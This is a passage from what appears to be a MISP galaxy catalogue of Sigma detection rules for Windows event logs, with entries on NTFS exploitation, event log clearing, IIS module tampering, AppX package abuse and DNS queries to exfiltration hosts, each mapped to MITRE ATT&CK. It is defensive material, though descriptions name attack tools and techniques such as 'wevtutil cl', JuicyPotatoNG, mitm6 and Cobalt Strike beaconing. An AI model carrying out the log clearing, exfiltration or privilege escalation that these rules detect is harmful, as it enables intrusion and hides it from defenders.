This the exploitation of a NTFS vulnerability as reported without many details via Twitter

The tag is: *misp-galaxy:sigma-rules="NTFS Vulnerability Exploitation"*

View relationships graph

NTFS Vulnerability Exploitation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Exhaustion Flood - T1499.001" with estimative-

language:likelihood-probability="almost-certain"

Table 16373. Table References

Links
https://twitter.com/wdormann/status/1347958161609809921
https://www.bleepingcomputer.com/news/security/windows-10-bug-corrupts-your-hard-drive-on-seeing-this-files-icon/
https://twitter.com/jonasLyk/status/1347900440000811010
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/ntfs/win_system_ntfs_vuln_exploit.yml

Sysmon Application Crashed

Detects application popup reporting a failure of the Sysmon service

The tag is: *misp-galaxy:sigma-rules="Sysmon Application Crashed"*

View relationships graph

Sysmon Application Crashed has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"

Table 16374. Table References

Links
https://github.com/nasbench/EVTX-ETW-Resources/blob/f1b010ce0ee1b71e3024180de1a3e67f99701fe4/ETWProvidersManifests/Windows10/1803/W10_1803_Pro_19700101_17134.1/WEPExplorer/Application%20Popup.xml#L36
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/application_popup/win_system_application_sysmon_crash.yml

Crash Dump Created By Operating System

Detects "BugCheck" errors indicating the system rebooted due to a crash, capturing the bugcheck code, dump file path, and report ID.

The tag is: *misp-galaxy:sigma-rules="Crash Dump Created By Operating System"*

View relationships graph

Crash Dump Created By Operating System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-

language:likelihood-probability="almost-certain"

Table 16375. Table References

Links
https://jasonmull.com/articles/offensive/2025-05-12-windows-crash-dumps-offensive-security/
https://www.sans.edu/cyber-research/from-crash-compromise-unlocking-potential-windows-crash-dumps-offensive-security/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_wer_systemerrorreporting/win_system_crash_dump_created.yml

DHCP Server Loaded the CallOut DLL

This rule detects a DHCP server in which a specified Callout DLL (in registry) was loaded

The tag is: *misp-galaxy:sigma-rules="DHCP Server Loaded the CallOut DLL"*

View relationships graph

DHCP Server Loaded the CallOut DLL has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16376. Table References

Links
https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html
https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx
https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_dhcp_server/win_system_susp_dhcp_config.yml

DHCP Server Error Failed Loading the CallOut DLL

This rule detects a DHCP server error in which a specified Callout DLL (in registry) could not be loaded

The tag is: *misp-galaxy:sigma-rules="DHCP Server Error Failed Loading the CallOut DLL"*

View relationships graph

DHCP Server Error Failed Loading the CallOut DLL has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16377. Table References

Links
https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html
https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx
https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_dhcp_server/win_system_susp_dhcp_config_failed.yml

Volume Shadow Copy Mount

Detects volume shadow copy mount via Windows event log

The tag is: *misp-galaxy:sigma-rules="Volume Shadow Copy Mount"*

View relationships graph

Volume Shadow Copy Mount has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"

Table 16378. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-3---esentutlexe-sam-copy
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_ntfs/win_system_volume_shadow_copy_mount.yml

Certificate Use With No Strong Mapping

Detects a user certificate that was valid but could not be mapped to a user in a strong way (such as via explicit mapping, key trust mapping, or a SID) This could be a sign of exploitation of the elevation of privilege vulnerabilities (CVE-2022-34691, CVE-2022-26931, CVE-2022-26923) that can occur when the KDC allows certificate spoofing by not requiring a strong mapping. Events where the AccountName and CN of the Subject do not match, or where the CN ends in a dollar sign indicating a machine, may indicate certificate spoofing.

The tag is: *misp-galaxy:sigma-rules="Certificate Use With No Strong Mapping"*

Table 16379. Table References

Links
https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_kerberos_key_distribution_center/win_system_kdcsvc_cert_use_no_strong_mapping.yml

No Suitable Encryption Key Found For Generating Kerberos Ticket

Detects errors when a target server doesn't have suitable keys for generating kerberos tickets. This issue can occur for example when a service uses a user account or a computer account that is configured for only DES encryption on a computer that is running Windows 7 which has DES encryption for Kerberos authentication disabled.

The tag is: *misp-galaxy:sigma-rules="No Suitable Encryption Key Found For Generating Kerberos Ticket"*

View relationships graph

No Suitable Encryption Key Found For Generating Kerberos Ticket has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"

Table 16380. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd348773(v=ws.10)
https://learn.microsoft.com/en-us/troubleshoot/windows-server/windows-security/kdc-event-16-27-des-encryption-disabled
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_kerberos_key_distribution_center/win_system_kdcsvc_tgs_no_suitable_encryption_key_found.yml

ISATAP Router Address Was Set

Detects the configuration of a new ISATAP router on a Windows host. While ISATAP is a legitimate Microsoft technology for IPv6 transition, unexpected or unauthorized ISATAP router configurations could indicate a potential IPv6 DNS Takeover attack using tools like mitm6. In such attacks, adversaries advertise themselves as DHCPv6 servers and set malicious ISATAP routers to intercept traffic. This detection should be correlated with network baselines and known legitimate ISATAP deployments in your environment.

The tag is: *misp-galaxy:sigma-rules="ISATAP Router Address Was Set"*

View relationships graph

ISATAP Router Address Was Set has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Adversary-in-the-Middle - T1557" with estimative-

language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1565.002" with estimative-language:likelihood-probability="almost-certain"

Table 16381. Table References

Links
https://medium.com/@ninnesoturan/detecting-ipv6-dns-takeover-a54a6a88be1f
https://www.securityhq.com/blog/malicious-isatap-tunneling-unearthed-on-windows-server/
https://redfoxsec.com/blog/ipv6-dns-takeover/
https://www.blackhillsinfosec.com/mitm6-strikes-again-the-dark-side-of-ipv6/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_Iphlpsvc/win_system_isatap_router_address_set.yml

Local Privilege Escalation Indicator TabTip

Detects the invocation of TabTip via CLSID as seen when JuicyPotatoNG is used on a system in brute force mode

The tag is: *misp-galaxy:sigma-rules="Local Privilege Escalation Indicator TabTip"*

View relationships graph

Local Privilege Escalation Indicator TabTip has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"

Table 16382. Table References

Links
https://github.com/antonioCoco/JuicyPotatoNG
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_distributed_com/win_system_lpe_indicators_tabtip.yml

Eventlog Cleared

One of the Windows Eventlogs has been cleared. e.g. caused by "wevtutil cl" command execution

The tag is: *misp-galaxy:sigma-rules="Eventlog Cleared"*

View relationships graph

Eventlog Cleared has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"

Table 16383. Table References

Links
https://twitter.com/deviouspolack/status/832535435960209408
https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_eventlog/win_system_eventlog_cleared.yml

Important Windows Eventlog Cleared

Detects the clearing of one of the Windows Core Eventlogs. e.g. caused by "wevtutil cl" command execution

The tag is: *misp-galaxy:sigma-rules="Important Windows Eventlog Cleared"*

View relationships graph

Important Windows Eventlog Cleared has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"

Table 16384. Table References

Links
https://twitter.com/deviouspolack/status/832535435960209408
https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_eventlog/win_system_susp_eventlog_cleared.yml

Unsigned or Unencrypted SMB Connection to Share Established

Detects SMB server connections to shares without signing or encryption enabled. This could indicate potential lateral movement activity using unsecured SMB shares.

The tag is: *misp-galaxy:sigma-rules="Unsigned or Unencrypted SMB Connection to Share Established"*

View relationships graph

Unsigned or Unencrypted SMB Connection to Share Established has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with

estimative-language:likelihood-probability="almost-certain"

Table 16385. Table References

Links
https://learn.microsoft.com/en-us/troubleshoot/windows-server/networking/overview-server-message-block-signing
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/smbserver/connectivity/win_smbserver_connectivity_unsigned_and_unencrypted_share_connection.yml

DNS Server Error Failed Loading the ServerLevelPluginDLL

Detects a DNS server error in which a specified plugin DLL (in registry) could not be loaded

The tag is: *misp-galaxy:sigma-rules="DNS Server Error Failed Loading the ServerLevelPluginDLL"*

View relationships graph

DNS Server Error Failed Loading the ServerLevelPluginDLL has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16386. Table References

Links
https://twitter.com/gentilkiwi/status/861641945944391680
https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83
https://technet.microsoft.com/en-us/library/cc735829(v=ws.10).aspx
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_server/win_dns_server_susp_server_level_plugin_dll.yml

Failed DNS Zone Transfer

Detects when a DNS zone transfer failed.

The tag is: *misp-galaxy:sigma-rules="Failed DNS Zone Transfer"*

View relationships graph

Failed DNS Zone Transfer has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DNS - T1590.002" with estimative-language:likelihood-probability="almost-certain"

Table 16387. Table References

Links
https://kb.eventtracker.com/evtpass/evtpages/EventId_6004_Microsoft-Windows-DNS-Server-Service_65410.asp
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_server/win_dns_server_failed_dns_zone_transfer.yml

Suspicious Digital Signature Of AppX Package

Detects execution of AppX packages with known suspicious or malicious signature

The tag is: *misp-galaxy:sigma-rules="Suspicious Digital Signature Of AppX Package"*

Table 16388. Table References

Links
https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxpackaging_om/win_appxpackaging_om_sups_appx_signature.yml

Sysinternals Tools AppX Versions Execution

Detects execution of Sysinternals tools via an AppX package. Attackers could install the Sysinternals Suite to get access to tools such as psexec and procdump to avoid detection based on System paths.

The tag is: *misp-galaxy:sigma-rules="Sysinternals Tools AppX Versions Execution"*

Table 16389. Table References

Links
https://learn.microsoft.com/en-us/sysinternals/downloads/microsoft-store
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appmodel_runtime/win_appmodel_runtime_sysinternals_tools_appx_execution.yml

OpenSSH Server Listening On Socket

Detects scenarios where an attacker enables the OpenSSH server and server starts to listening on SSH socket.

The tag is: *misp-galaxy:sigma-rules="OpenSSH Server Listening On Socket"*

View relationships graph

OpenSSH Server Listening On Socket has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-

language:likelihood-probability="almost-certain"

Table 16390. Table References

Links
https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse
https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0008-Lateral%20Movement/T1021.004-Remote%20Service%20SSH
https://winaero.com/enable-openssh-server-windows-10/
https://virtualizationreview.com/articles/2020/05/21/ssh-server-on-windows-10.aspx
https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/openssh/win_sshd_openssh_server_listening_on_socket.yml

New Module Module Added To IIS Server

Detects the addition of a new module to an IIS server.

The tag is: *misp-galaxy:sigma-rules="New Module Module Added To IIS Server"*

View relationships graph

New Module Module Added To IIS Server has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="IIS Components - T1505.004" with estimative-language:likelihood-probability="almost-certain"

Table 16391. Table References

Links
https://www.microsoft.com/en-us/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/
https://learn.microsoft.com/en-us/iis/manage/provisioning-and-managing-iis/configure-logging-in-iis
https://www.microsoft.com/en-us/security/blog/2022/12/12/iis-modules-the-evolution-of-web-shells-and-how-to-detect-them/
https://learn.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/iis-configuration/win_iis_module_added.yml

ETW Logging/Processing Option Disabled On IIS Server

Detects changes to of the IIS server configuration in order to disable/remove the ETW logging/processing option.

The tag is: *misp-galaxy:sigma-rules="ETW Logging/Processing Option Disabled On IIS Server"*

View relationships graph

ETW Logging/Processing Option Disabled On IIS Server has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="IIS Components - T1505.004" with estimative-language:likelihood-probability="almost-certain"

Table 16392. Table References

Links
https://learn.microsoft.com/en-us/iis/manage/provisioning-and-managing-iis/configure-logging-in-iis
https://www.microsoft.com/en-us/security/blog/2022/12/12/iis-modules-the-evolution-of-web-shells-and-how-to-detect-them/
https://learn.microsoft.com/en-us/iis/configuration/system.applicationhost/sites/sitedefaults/logfile/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/iis-configuration/win_iis_logging_etw_disabled.yml

Previously Installed IIS Module Was Removed

Detects the removal of a previously installed IIS module.

The tag is: *misp-galaxy:sigma-rules="Previously Installed IIS Module Was Removed"*

View relationships graph

Previously Installed IIS Module Was Removed has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="IIS Components - T1505.004" with estimative-language:likelihood-probability="almost-certain"

Table 16393. Table References

Links
https://www.microsoft.com/en-us/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/

https://learn.microsoft.com/en-us/iis/manage/provisioning-and-managing-iis/configure-logging-in-iis
https://www.microsoft.com/en-us/security/blog/2022/12/12/iis-modules-the-evolution-of-web-shells-and-how-to-detect-them/
https://learn.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/iis-configuration/win_iis_module_removed.yml

HTTP Logging Disabled On IIS Server

Detects changes to of the IIS server configuration in order to disable HTTP logging for successful requests.

The tag is: *misp-galaxy:sigma-rules="HTTP Logging Disabled On IIS Server"*

View relationships graph

HTTP Logging Disabled On IIS Server has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="IIS Components - T1505.004" with estimative-language:likelihood-probability="almost-certain"

Table 16394. Table References

Links
https://learn.microsoft.com/en-us/iis/configuration/system.webserver/httplogging
https://learn.microsoft.com/en-us/iis/manage/provisioning-and-managing-iis/configure-logging-in-iis
https://www.microsoft.com/en-us/security/blog/2022/12/12/iis-modules-the-evolution-of-web-shells-and-how-to-detect-them/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/iis-configuration/win_iis_logging_http_disabled.yml

Standard User In High Privileged Group

Detect standard users login that are part of high privileged groups such as the Administrator group

The tag is: *misp-galaxy:sigma-rules="Standard User In High Privileged Group"*

Table 16395. Table References

Links
https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers

https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection
https://github.com/nasbench/EVTX-ETW-Resources/blob/7a806a148b3d9d381193d4a80356016e6e8b1ee8/ETWProvidersManifests/Windows11/22H2/W11_22H2_Pro_20221220_22621.963/WEPExplorer/LsaSrv.xml
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/lsa_server/win_lsa_server_normal_user_admin.yml

Certificate Private Key Acquired

Detects when an application acquires a certificate private key

The tag is: *misp-galaxy:sigma-rules="Certificate Private Key Acquired"*

View relationships graph

Certificate Private Key Acquired has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steal or Forge Authentication Certificates - T1649" with estimative-language:likelihood-probability="almost-certain"

Table 16396. Table References

Links
https://www.splunk.com/en_us/blog/security/breaking-the-chain-defending-against-certificate-services-abuse.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/capi2/win_capi2_acquire_certificate_private_key.yml

Suspicious Cobalt Strike DNS Beaconing - DNS Client

Detects a program that invoked suspicious DNS queries known from Cobalt Strike beacons

The tag is: *misp-galaxy:sigma-rules="Suspicious Cobalt Strike DNS Beaconing - DNS Client"*

View relationships graph

Suspicious Cobalt Strike DNS Beaconing - DNS Client has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"

Table 16397. Table References

Links
https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/
https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_client/win_dns_client_mal_cobaltstrike.yml

DNS Query To Put.io - DNS Client

Detects DNS queries for subdomains related to "Put.io" sharing website.

The tag is: *misp-galaxy:sigma-rules="DNS Query To Put.io - DNS Client"*

Table 16398. Table References

Links
https://darkatlas.io/blog/medusa-ransomware-group-opsec-failure
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_client/win_dns_client_put_io.yml

Query Tor Onion Address - DNS Client

Detects DNS resolution of an .onion address related to Tor routing networks

The tag is: *misp-galaxy:sigma-rules="Query Tor Onion Address - DNS Client"*

View relationships graph

Query Tor Onion Address - DNS Client has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"

Table 16399. Table References

Links
https://www.logpoint.com/en/blog/detecting-tor-use-with-logpoint/
https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/ASimDNS/imDNS_TorProxies.yaml
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_client/win_dns_client_tor_onion.yml

DNS Query To MEGA Hosting Website - DNS Client

Detects DNS queries for subdomains related to MEGA sharing website

The tag is: *misp-galaxy:sigma-rules="DNS Query To MEGA Hosting Website - DNS Client"*

View relationships graph

DNS Query To MEGA Hosting Website - DNS Client has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"

Table 16400. Table References

Links
https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_client/win_dns_client_mega_nz.yml

DNS Query for Anonfiles.com Domain - DNS Client

Detects DNS queries for anonfiles.com, which is an anonymous file upload platform often used for malicious purposes

The tag is: *misp-galaxy:sigma-rules="DNS Query for Anonfiles.com Domain - DNS Client"*

View relationships graph

DNS Query for Anonfiles.com Domain - DNS Client has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"

Table 16401. Table References

Links
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbyte
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_client/win_dns_client_anonymfiles_com.yml

DNS Query To Ufile.io - DNS Client

Detects DNS queries to "ufile.io", which was seen abused by malware and threat actors as a method for data exfiltration

The tag is: *misp-galaxy:sigma-rules="DNS Query To Ufile.io - DNS Client"*

View relationships graph

DNS Query To Ufile.io - DNS Client has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"

Table 16402. Table References

Links

https://thedfirreport.com/2021/12/13/diavol-ransomware/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_client/win_dns_client_ufile_io.yml

Suspicious Application Installed

Detects suspicious application installed by looking at the added shortcut to the app resolver cache

The tag is: *misp-galaxy:sigma-rules="Suspicious Application Installed"*

Table 16403. Table References

Links
https://nasbench.medium.com/finding-forensic-goodness-in-obscure-windows-event-logs-60e978ea45a3
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/shell_core/win_shell_core_susp_packages_installed.yml

AppX Package Deployment Failed Due to Signing Requirements

Detects an appx package deployment / installation with the error code "0x80073cff" which indicates that the package didn't meet the signing requirements.

The tag is: *misp-galaxy:sigma-rules="AppX Package Deployment Failed Due to Signing Requirements"*

Table 16404. Table References

Links
https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/
https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/
https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxdeployment_server/win_appxdeployment_server_appx_package_deployment_failed_signing_requirements.yml

Deployment AppX Package Was Blocked By AppLocker

Detects an appx package deployment that was blocked by AppLocker policy.

The tag is: *misp-galaxy:sigma-rules="Deployment AppX Package Was Blocked By AppLocker"*

Table 16405. Table References

Links

https://github.com/nasbench/EVTX-ETW-Resources/blob/7a806a148b3d9d381193d4a80356016e6e8b1ee8/ETWEventsList/CSV/Windows11/22H2/W11_22H2_Pro_20220920_22621.382/Providers/Microsoft-Windows-AppXDeployment-Server.csv
https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxdeployment_server/win_appxdeployment_server_applocker_block.yml

Remote AppX Package Downloaded from File Sharing or CDN Domain

Detects an appx package that was added to the pipeline of the "to be processed" packages which was downloaded from a file sharing or CDN domain.

The tag is: *misp-galaxy:sigma-rules="Remote AppX Package Downloaded from File Sharing or CDN Domain"*

Table 16406. Table References

Links
https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/
https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/
https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxdeployment_server/win_appxdeployment_server_appx_downloaded_from_file_sharing_domains.yml

Potential Malicious AppX Package Installation Attempts

Detects potential installation or installation attempts of known malicious appx packages

The tag is: *misp-galaxy:sigma-rules="Potential Malicious AppX Package Installation Attempts"*

Table 16407. Table References

Links
https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/
https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/
https://forensicitguy.github.io/analyzing-magnitude-magniber-appx/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxdeployment_server/win_appxdeployment_server_mal_appx_names.yml

Windows AppX Deployment Unsigned Package Installation

Detects attempts to install unsigned MSIX/AppX packages using the -AllowUnsigned parameter via AppXDeployment-Server events

The tag is: *misp-galaxy:sigma-rules="Windows AppX Deployment Unsigned Package Installation"*

View relationships graph

Windows AppX Deployment Unsigned Package Installation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Mark-of-the-Web Bypass - T1553.005" with estimative-language:likelihood-probability="almost-certain"

Table 16408. Table References

Links
https://www.splunk.com/en_us/blog/security/msix-weaponization-threat-detection-splunk.html
https://docs.microsoft.com/en-us/powershell/module/appx/add-appxpackage
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxdeployment_server/win_appxpackaging_server_unsigned_package_installation.yml

Windows AppX Deployment Full Trust Package Installation

Detects the installation of MSIX/AppX packages with full trust privileges which run with elevated privileges outside normal AppX container restrictions

The tag is: *misp-galaxy:sigma-rules="Windows AppX Deployment Full Trust Package Installation"*

View relationships graph

Windows AppX Deployment Full Trust Package Installation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Mark-of-the-Web Bypass - T1553.005" with estimative-language:likelihood-probability="almost-certain"

Table 16409. Table References

Links
https://www.splunk.com/en_us/blog/security/msix-weaponization-threat-detection-splunk.html

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxdeployment_server/win_appxpackaging_server_full_trust_package_installation.yml

Deployment Of The AppX Package Was Blocked By The Policy

Detects an appx package deployment that was blocked by the local computer policy. The following events indicate that an AppX package deployment was blocked by a policy: - Event ID 441: The package deployment operation is blocked by the "Allow deployment operations in special profiles" policy - Event ID 442: Deployments to non-system volumes are blocked by the "Disable deployment of Windows Store apps to non-system volumes" policy." - Event ID 453: Package blocked by a platform policy. - Event ID 454: Package blocked by a platform policy.

The tag is: *misp-galaxy:sigma-rules="Deployment Of The AppX Package Was Blocked By The Policy"*

Table 16410. Table References

Links
https://github.com/nasbench/EVTX-ETW-Resources/blob/7a806a148b3d9d381193d4a80356016e6e8b1ee8/ETWEventsList/CSV/Windows11/22H2/W11_22H2_Pro_20220920_22621.382/Providers/Microsoft-Windows-AppXDeployment-Server.csv
https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxdeployment_server/win_appxdeployment_server_policy_block.yml

AppX Located in Uncommon Directory Added to Deployment Pipeline

Detects an appx package that was added to the pipeline of the "to be processed" packages that is located in uncommon locations.

The tag is: *misp-galaxy:sigma-rules="AppX Located in Uncommon Directory Added to Deployment Pipeline"*

Table 16411. Table References

Links
https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting
https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/
https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/
Internal Research[Internal Research]

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxdeployment_server/win_appxdeployment_server_uncommon_package_locations.yml

AppX Located in Known Staging Directory Added to Deployment Pipeline

Detects an appx package that was added to the pipeline of the "to be processed" packages that is located in a known folder often used as a staging directory.

The tag is: *misp-galaxy:sigma-rules="AppX Located in Known Staging Directory Added to Deployment Pipeline"*

Table 16412. Table References

Links
https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/
https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/
https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxdeployment_server/win_appxdeployment_server_appx_package_in_staging_directory.yml

Potential Azure Browser SSO Abuse

Detects abusing Azure Browser SSO by requesting OAuth 2.0 refresh tokens for an Azure-AD-authenticated Windows user (i.e. the machine is joined to Azure AD and a user logs in with their Azure AD account) wanting to perform SSO authentication in the browser. An attacker can use this to authenticate to Azure AD in a browser as that user.

The tag is: *misp-galaxy:sigma-rules="Potential Azure Browser SSO Abuse"*

View relationships graph

Potential Azure Browser SSO Abuse has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16413. Table References

Links
https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_azure_microsoft_account_token_provider_dll_load.yml

Potential CCleanerDU.DLL Sideloading

Detects potential DLL sideloading of "CCleanerDU.dll"

The tag is: *misp-galaxy:sigma-rules="Potential CCleanerDU.DLL Sideloading"*

View relationships graph

Potential CCleanerDU.DLL Sideloading has relationships with:

